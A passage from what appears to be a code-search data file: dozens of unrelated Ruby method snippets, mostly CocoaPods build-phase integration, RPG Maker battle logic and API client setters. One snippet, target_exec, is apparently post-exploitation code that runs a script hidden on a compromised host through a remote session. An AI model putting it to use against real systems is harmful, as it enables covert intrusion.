`https://guides.cocoapods.org/syntax/podspec.html#script_phases` for more information.'\n end\n end\n end\n end", "def update_competetion_phases\n competetion.update(no_of_phases: competetion.phases.count)\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def update_phase4\n case @phase4_step\n when 1\n update_phase4_step1\n when 2\n update_phase4_step2\n when 3\n update_phase4_step3\n when 4\n update_phase4_step4\n when 5\n update_phase4_step5\n when 6\n update_phase4_step6\n end\n end", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def setup_target_reset\n return unless PONY::ERRNO::check_sequence(current_act)\n current_action_targets.each do |target|\n target.reset_pos(@acts[1], @acts[2])\n end\n end", "def update!(**args)\n @target_ids = args[:target_ids] if args.key?(:target_ids)\n end", "def update_phase4\r\n case @phase4_step\r\n when 1\r\n update_phase4_step1\r\n when 2\r\n update_phase4_step2\r\n when 3\r\n update_phase4_step3\r\n when 4\r\n update_phase4_step4\r\n when 5\r\n update_phase4_step5\r\n when 6\r\n update_phase4_step6\r\n end\r\n end", "def upgrade\n if targets.any?\n resolve_dependencies!\n fetch_results!\n end\n\n Upgrades.add_to(self)\n\n run!\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def update_phase_states\n validate_phase_state()\n ownerables = users\n irat.phase.transaction do; update_ownerable_phase_states(ownerables); end\n publish_phase_states(ownerables, phase_state => irat.phase)\n publish_messages(users: ownerables)\n end", "def setup_target_z\n return unless PONY::ERRNO::check_sequence(current_act)\n current_action_targets.each do |target|\n target.lock_z = @acts[1]\n end\n end", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def integrate!\n UI.section(integration_message) do\n XCConfigIntegrator.integrate(target, native_targets)\n\n remove_obsolete_script_phases\n add_pods_library\n add_embed_frameworks_script_phase\n remove_embed_frameworks_script_phase_from_embedded_targets\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n add_user_script_phases\n add_on_demand_resources\n end\n end", "def update!(**args)\n @phase_configs = args[:phase_configs] if args.key?(:phase_configs)\n end", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def update\n phase = Phase.find(params[:id])\n authorize phase\n begin\n phase = get_modifiable(phase)\n if phase.update(phase_params)\n flash.now[:notice] = success_message(phase, _('updated'))\n else\n flash.now[:alert] = failure_message(phase, _('update'))\n end\n rescue StandardError => e\n msg = _('Unable to create a new version of this template.')\n flash.now[:alert] = \"#{msg}<br>#{e.message}\"\n end\n redirect_to edit_org_admin_template_phase_path(template_id: phase.template.id,\n id: phase.id)\n end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def setup_change_target\n return unless PONY::ERRNO::check_sequence(current_act)\n setup_target(@acts[1])\n end", "def update\n @@easings.each do |ease|\n # Skip to wait for delay option if present\n if ease.delay > 0\n ease.delay -= 1\n next\n elsif ease.overwrite\n # Delete other easings for same target if applicable\n overwrite_other_easings(ease)\n end\n\n # Perform ease calculations\n perform_ease_for(ease)\n end\n end", "def update!(**args)\n @target = args[:target] if args.key?(:target)\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def update!(**args)\n @phase_id = args[:phase_id] if args.key?(:phase_id)\n end", "def update!(**args)\n @target_id = args[:target_id] if args.key?(:target_id)\n @target_type = args[:target_type] if args.key?(:target_type)\n end", "def update_battlephase\r\n # Branch according to phase\r\n case @phase\r\n when 1 # pre-battle phase\r\n update_phase1\r\n when 2 # party command phase\r\n update_phase2\r\n when 3 # actor command phase\r\n update_phase3\r\n when 4 # main phase\r\n update_phase4\r\n when 5 # after battle phase\r\n update_phase5\r\n end\r\n end", "def sort_project_build_phase\n puts \"Reordering build phase...\"\n\n project = Xcodeproj::Project.open(\"Traveloka.xcodeproj\")\n\n project.native_targets.each { |target|\n\n if target.name == \"Traveloka\" || target.name == \"Traveloka Staging\"\n # Take the native embed frameworks phase and pods build phases.\n native_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"Embed Frameworks\"\n }.first\n pods_embed_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Embed Pods Frameworks\"\n }.first\n pods_copy_phase = target.build_phases.select { | build_phase |\n build_phase.to_s == \"[CP] Copy Pods Resources\"\n }.first\n\n index_native_embed_phase = target.build_phases.index(native_embed_phase)\n\n # Shift the phase to below embed frameworks phase in native build phase.\n if index_native_embed_phase < target.build_phases.length && (pods_embed_phase != nil && pods_copy_phase != nil)\n target.build_phases.delete(pods_embed_phase)\n target.build_phases.delete(pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_copy_phase)\n target.build_phases.insert(index_native_embed_phase + 1, pods_embed_phase)\n end\n end\n }\n\n project.save\n\n puts \"\\e[32m√ Build phase reorder complete!\\e[0m\"\nend", "def run_plugins_post_install_hooks\n # This short-circuits because unlocking pod sources is expensive\n if any_plugin_post_install_hooks?\n unlock_pod_sources\n\n context = PostInstallHooksContext.generate(sandbox, pods_project, pod_target_subprojects, aggregate_targets)\n HooksManager.run(:post_install, context, plugins)\n end\n\n lock_pod_sources\n end", "def update!(**args)\n @target_name = args[:target_name] if args.key?(:target_name)\n @workflow_guid = args[:workflow_guid] if args.key?(:workflow_guid)\n @zone_id = args[:zone_id] if args.key?(:zone_id)\n end", "def admin_update\n @phase = Phase.find(params[:id])\n authorize @phase\n @phase.description = params[\"phase-desc\"]\n if @phase.update_attributes(params[:phase])\n @phase.template.dirty = true\n @phase.template.save!\n\n redirect_to admin_show_phase_path(@phase), notice: _('Information was successfully updated.')\n else\n @sections = @phase.sections\n @template = @phase.template\n # These params may not be available in this context so they may need\n # to be set to true without the check\n @edit = true\n @open = !params[:section_id].nil?\n @section_id = (params[:section_id].nil? ? nil : params[:section_id].to_i)\n @question_id = (params[:question_id].nil? ? nil : params[:question_id].to_i)\n flash[:notice] = failed_update_error(@phase, _('phase'))\n if @phase.template.customization_of.present?\n @original_org = Template.where(dmptemplate_id: @phase.template.customization_of).first.org\n else\n @original_org = @phase.template.org\n end\n render 'admin_show'\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def setup_targets_flip\n return unless PONY::ERRNO::check_sequence(current_act)\n current_actions_targets.each do |target|\n target.flip = @acts[1]\n end\n end", "def execute\n supported_swift_versions = ['3.0', '4.0', '4.2']\n if !supported_swift_versions.include? swift_version\n signal_usage_error \"'#{swift_version}' swift version is not supported. Supported values: \" + supported_swift_versions.map { |v| \"'#{v}'\" }.join(\", \")\n end\n \n ProjectMod.apply_build_setting(name: 'SWIFT_VERSION', value: \"#{swift_version}.0\", target_names: target_list)\n \n targets_string = target_list.empty? ? 'All targets' : (target_list.join(\", \") + \" targets\")\n puts \"#{targets_string} were updated to use Swift #{swift_version}!\" \n end", "def setup_target_move\n return unless PONY::ERRNO::check_sequence(current_act)\n args = [@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0]\n current_action_targets.each do |target|\n target.goto(*args)\n end\n end", "def update_metadata!\n compilation_context.source_file_database.update_metadata(source_path)\n compilation_context.target_file_database.update_metadata(source_path)\n end", "def update!(**args)\n @rollout = args[:rollout] if args.key?(:rollout)\n @rollout_phase_id = args[:rollout_phase_id] if args.key?(:rollout_phase_id)\n end", "def update!(**args)\n @rollout = args[:rollout] if args.key?(:rollout)\n @rollout_phase_id = args[:rollout_phase_id] if args.key?(:rollout_phase_id)\n end", "def update_files\n PhrasingPhrase.transaction do\n # 1) Get file contents as keys and values\n keys_and_values = yml_to_keys_and_values\n old_version_keys_and_values = keys_and_values.clone\n\n # 2) Update all translated values in keys_and_values\n puts \"Updating..\"\n phrasing_phrases.each do |phrase|\n print \".\"\n next if phrase.key == phrase.value\n\n @word_counter.update(keys_and_values[\"#{phrase.locale}.#{phrase.key}\"], phrase.yml_value)\n\n keys_and_values[\"#{phrase.locale}.#{phrase.key}\"] = phrase.yml_value\n end\n\n # 3) Update keys_and_values to same yml file\n if @word_counter.has_change?\n # Create last version file entry in releases\n create_to_recent_version_entry_for(old_version_keys_and_values)\n # Update root file to new version\n update_as_next_root_version(keys_and_values)\n end\n\n # 4) Delete All Database Records for lang\n # phrasing_phrases.delete_all\n\n display_word_count\n\n # Return true for successfull execution\n return @word_counter.has_change?\n end\n end", "def update!(**args)\n @first_level_target = args[:first_level_target] if args.key?(:first_level_target)\n @second_level_target = args[:second_level_target] if args.key?(:second_level_target)\n end", "def update_script\n\t\tif self.event_type == \"Script\"\n\t\t\tupdate_script = Script.find_by(id: self.script_tag)\n\t\t\tif update_script.title != self.title || update_script.start_time != self.start_time || update_script.end_time != self.end_time \n\t\t\t\tupdate_script.update :title => self.title, :start_time => self.start_time, :end_time => self.end_time\n\t\t\tend\t\n\t\tend\n\tend", "def targets=( *args )\n update_state_collection( '@targets', *args )\n end", "def update\n update_phase\n end", "def setup_target_slide\n return unless PONY::ERRNO::check_sequence(current_act)\n args = [@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0]\n current_action_targets.each do |target|\n target.slide(*args)\n end\n end", "def command_ids=(new_commands_or_ids)\n @script_was ||= script\n\n self.stage_commands = new_commands_or_ids.reject(&:blank?).map.with_index do |command_or_id, position|\n find_or_create_stage_command(command_or_id, position)\n end\n end", "def process_hooks(user, actual_targets)\n exec_hooks(Move, :process_hooks, binding)\n return true\n end", "def update!(**args)\n @missing_targets = args[:missing_targets] if args.key?(:missing_targets)\n @status = args[:status] if args.key?(:status)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update_phase4_step3\n if @active_battler.current_action.kind == 0 and\n @active_battler.current_action.basic == 0\n # in this one... we have our weapon animations... for player and monster\n if @active_battler.is_a?(Game_Actor)\n @spriteset.actor_sprites[@active_battler.index].pose(@weapon_sprite)\n elsif @active_battler.is_a?(Game_Enemy)\n @spriteset.enemy_sprites[@active_battler.index].enemy_pose(@weapon_sprite_enemy)\n end\n end\n if @animation1_id == 0\n @active_battler.white_flash = true\n else\n @active_battler.animation_id = @animation1_id\n @active_battler.animation_hit = true\n end\n @phase4_step = 4\n end", "def target_exec(script_on_target)\n print_status(\"Executing script #{script_on_target}\")\n proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)\n print_good(\"Agent executed with PID #{proc.pid}\")\n @clean_up_rc << \"kill #{proc.pid}\\n\"\n proc.pid\n end", "def update_phase4_step4\n # Animation for target\n for target in @target_battlers\n target.animation_id = @animation2_id\n target.animation_hit = (target.damage != \"Miss\")\n end\n # Animation has at least 8 frames, regardless of its length\n @wait_count = 8\n # Shift to step 5\n @phase4_step = 5\n end", "def update_target\r\n # If B button was pressed\r\n if Input.trigger?(Input::B)\r\n # Play cancel SE\r\n $game_system.se_play($data_system.cancel_se)\r\n # Erase target window\r\n @skill_window.active = true\r\n @target_window.visible = false\r\n @target_window.active = false\r\n return\r\n end\r\n # If C button was pressed\r\n if Input.trigger?(Input::C)\r\n # If unable to use because SP ran out\r\n unless @actor.skill_can_use?(@skill.id)\r\n # Play buzzer SE\r\n $game_system.se_play($data_system.buzzer_se)\r\n return\r\n end\r\n # If target is all\r\n if @target_window.index == -1\r\n # Apply skill use effects to entire party\r\n used = false\r\n for i in $game_party.actors\r\n used |= i.skill_effect(@actor, @skill)\r\n end\r\n end\r\n # If target is user\r\n if @target_window.index <= -2\r\n # Apply skill use effects to target actor\r\n target = $game_party.actors[@target_window.index + 10]\r\n used = target.skill_effect(@actor, @skill)\r\n end\r\n # If single target\r\n if @target_window.index >= 0\r\n # Apply skill use effects to target actor\r\n target = $game_party.actors[@target_window.index]\r\n used = target.skill_effect(@actor, @skill)\r\n end\r\n # If skill was used\r\n if used\r\n # Play skill use SE\r\n $game_system.se_play(@skill.menu_se)\r\n # Use up SP\r\n @actor.sp -= @skill.sp_cost\r\n # Remake each window content\r\n @status_window.refresh\r\n @skill_window.refresh\r\n @target_window.refresh\r\n # If entire party is dead\r\n if $game_party.all_dead?\r\n # Switch to game over screen\r\n $scene = Scene_Gameover.new\r\n return\r\n end\r\n # If command event ID is valid\r\n if @skill.common_event_id > 0\r\n # Command event call reservation\r\n $game_temp.common_event_id = @skill.common_event_id\r\n # Switch to map screen\r\n $scene = Scene_Map.new\r\n return\r\n end\r\n end\r\n # If skill wasn't used\r\n unless used\r\n # Play buzzer SE\r\n $game_system.se_play($data_system.buzzer_se)\r\n end\r\n return\r\n end\r\n end", "def update_included_targets(id, opts = {})\n data, _status_code, _headers = update_included_targets_with_http_info(id, opts)\n data\n end", "def update!(**args)\n @params = args[:params] if args.key?(:params)\n @raw_target = args[:raw_target] if args.key?(:raw_target)\n @target = args[:target] if args.key?(:target)\n end", "def update!\n update_totals\n update_payment_state\n # update_adjustments\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n \n update_attributes_without_callbacks({\n :state => \"complete\"\n }) \n \n logger.info 'UPDATED ORDER'\n # update_hooks.each { |hook| self.send hook }\n end", "def update\n update_item_count\n update_totals\n if order.completed?\n update_payment_state\n update_shipments\n update_shipment_state\n update_shipment_total\n end\n run_hooks\n persist_totals\n end", "def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end", "def update_target\n obj = JSON.load(@clnt.get(@config_url).body) || []\n obj = @parsing_block.call(obj) if @parsing_block\n\n obj.each do |target|\n @target_array = []\n name = target[\"name\"]\n type = target[\"type\"]\n target_array << path_for(name, type)\n end\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def setup_change_target\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n case @acts[1]\n # --------------------\n when 0 # Original Target\n self.area_flag = item_in_use.area?\n @target = @ori_target\n @target_array = @ori_targets.clone\n # -------------------\n when 1 # All Battler\n self.area_flag = true\n t = $game_party.alive_members + $game_troop.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 2 # All Battler except user\n self.area_flag = true\n t = $game_party.alive_members + $game_troop.alive_members\n t -= [self]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 3 # All Enemies\n self.area_flag = true\n t = opponents_unit.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 4 # All Enemies except current target\n self.area_flag = true\n t = opponents_unit.alive_members\n t -= [target]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 5 # All Allies\n self.area_flag = true\n t = friends_unit.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 6 # All Allies except user\n self.area_flag = true\n t = friends_unit.alive_members\n t -= [self]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 7 # Next random enemy\n self.area_flag = false\n @target = opponents_unit.random_target\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n # -------------------\n when 8 # Next random ally\n self.area_flag = false\n @target = friends_unit.random_target\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n # -------------------\n when 9 # Absolute Targets (Enemies)\n self.area_flag = true\n @target_array = opponents_unit.abs_target(@acts[2])\n @target_array -= [target] if @acts[3]\n $game_temp.battler_targets += @target_array\n # -------------------\n when 10 # Absolute Target (Allies)\n self.area_flag = true\n @target_array = friends_unit.abs_target(@acts[2])\n @target_array -= [target] if @acts[3]\n $game_temp.battler_targets += @target_array\n # -------------------\n when 11 # self\n self.area_flag = false\n @target = self\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n end\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def update_phase3\n # If enemy arrow is enabled\n if @enemy_arrow != nil\n update_phase3_enemy_select\n # If actor arrow is enabled\n elsif @actor_arrow != nil\n update_phase3_actor_select\n # If skill window is enabled\n elsif @skill_window != nil\n update_phase3_skill_select\n # If item window is enabled\n elsif @item_window != nil\n update_phase3_item_select\n # If actor command window is enabled\n elsif @actor_command_window.active\n update_phase3_basic_command\n end\n end", "def update_phase4_step4\r\n # Animation for target\r\n for target in @target_battlers\r\n target.animation_id = @animation2_id\r\n target.animation_hit = (target.damage != \"Miss\")\r\n end\r\n # Animation has at least 8 frames, regardless of its length\r\n @wait_count = 8\r\n # Shift to step 5\r\n @phase4_step = 5\r\n end", "def up\n final_covers = Task.find_by_name(\"Final Covers\")\n return if final_covers.nil?\n\n # create Update PSD task\n new_task = Task.new\n new_task.name = 'Update PSD'\n new_task.tab_text = 'Update PSD'\n new_task.partial = 'update_psd'\n new_task.icon = 'icon-cloud-upload'\n new_task.next_id = nil\n new_task.team_only = true\n new_task.workflow = final_covers.workflow\n new_task.save\n\n # add Update PSD after Final Covers\n final_covers_tab = Tab.find_by_task_id(final_covers.id)\n new_tab = Tab.new\n new_tab.task = new_task\n new_tab.phase = final_covers_tab.phase\n new_tab.order = final_covers_tab.order + 1\n new_tab.save\n\n # adjust all remaining tabs\n remaining_tabs = new_tab.phase.tabs.joins(:task)\n .where(\"tabs.order >= ? and tasks.name != ? \", new_tab.order, new_task.name)\n remaining_tabs.each do | tab |\n tab.order = tab.order + 1\n tab.save\n end\n\n # unlock update_psd for everything beyond \"Final Covers\"\n task = final_covers\n while task.next_id\n task = Task.find(task.next_id)\n task.unlocked_tasks.create!(unlocked_task: new_task)\n end\n\n # retext some stuff so that the tabs will all fit in 1280px!\n @@renames.each do |rename|\n retext_tab(rename[:old_text], rename[:new_text])\n end\n end", "def update_phase4_step4\n if @target_battlers[0] != nil\n $game_temp.battle_actor_index = @target_battlers[0].index\n @status_window.refresh\n end\n # Animation for target\n for target in @target_battlers\n target.animation_id = @animation2_id\n target.animation_hit = (target.damage != \"Miss\")\n end\n # Animation has at least 8 frames, regardless of its length\n @wait_count = 8\n # Shift to step 5\n @phase4_step = 5\n end", "def update\n @target = current_user.targets.find(params[:target][:id])\n\n respond_to do |format|\n if @target.update(target_params)\n format.html { redirect_to index_home_path, notice: 'Target was successfully updated.' }\n format.json { render :show, status: :ok, location: @target }\n else\n format.html { render :edit, alert: 'An error ocurred while updating the target.' }\n format.json { render json: @target.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @dependency_targets = args[:dependency_targets] if args.key?(:dependency_targets)\n @disabled = args[:disabled] if args.key?(:disabled)\n @parent_action = args[:parent_action] if args.key?(:parent_action)\n @relation_descriptor = args[:relation_descriptor] if args.key?(:relation_descriptor)\n @select_query = args[:select_query] if args.key?(:select_query)\n @tags = args[:tags] if args.key?(:tags)\n end", "def update!(**args)\n @url_target = args[:url_target] if args.key?(:url_target)\n @citationtarget = args[:citationtarget] if args.key?(:citationtarget)\n @involumetarget = args[:involumetarget] if args.key?(:involumetarget)\n end", "def update(target, *source_paths)\n patterns = Parser.new(*source_paths).patterns[:simple]\n LocaleFile.new(target).update(patterns)\n end", "def update!(**args)\n @triggers = args[:triggers] if args.key?(:triggers)\n end", "def update!(**args)\n @triggers = args[:triggers] if args.key?(:triggers)\n end", "def update\n verify_no_uncommitted_merge\n verify_valid_update\n \n check_unknown if force\n check_collision if false # case-insensitive file-system? seriously? (uh... mac os x ring a bell?)\n \n @actions = []\n \n forget_removed\n manifest_merge\n \n stats = apply_updates\n record_updates\n stats\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update!(**args)\n @actions = args[:actions] if args.key?(:actions)\n end", "def update_phase3\r\n # If enemy arrow is enabled\r\n if @enemy_arrow != nil\r\n update_phase3_enemy_select\r\n # If actor arrow is enabled\r\n elsif @actor_arrow != nil\r\n update_phase3_actor_select\r\n # If skill window is enabled\r\n elsif @skill_window != nil\r\n update_phase3_skill_select\r\n # If item window is enabled\r\n elsif @item_window != nil\r\n update_phase3_item_select\r\n # If actor command window is enabled\r\n elsif @actor_command_window.active\r\n update_phase3_basic_command\r\n end\r\n end", "def all_done!\n unless complete?\n self.work_started_at = Time.now unless work_started_at?\n self.work_finished_at = Time.now\n done!\n #update_properties - Now done at request level\n if component_id && own_version?\n update_installed_component_version\n end\n end\n\n containing_object = parent || request\n containing_object.state_changer = state_changer\n containing_object.prepare_steps_for_execution(self)\n\n # unless version.blank?\n # installed_component.update_attribute(:version, version) if installed_component\n # end\n the_steps = containing_object.is_a?(Request) ? containing_object.steps.top_level.reload : containing_object.steps.reload\n\n if the_steps.all? { |step| step.complete_or_not_executable? }\n\n if containing_object.respond_to?(:finish!)\n containing_object.finish! if containing_object.started?\n else\n containing_object.all_done!\n end\n\n end\n\n\n end", "def finalize!\n if !@_before_triggers.empty?\n @_before_triggers.map { |t| t.finalize! }\n end\n\n if !@_after_triggers.empty?\n @_after_triggers.map { |t| t.finalize! }\n end\n end", "def update!(**args)\n @devtools_frame_id = args[:devtools_frame_id] if args.key?(:devtools_frame_id)\n @target_type = args[:target_type] if args.key?(:target_type)\n end", "def auto_process_target(app_target_names, embedded_target_name, installer)\n words = find_words_at_embedded_target('Pods-' + embedded_target_name,\n installer)\n handle_app_targets(app_target_names.map{ |str| 'Pods-' + str },\n words,\n installer)\nend", "def post_perform!\n 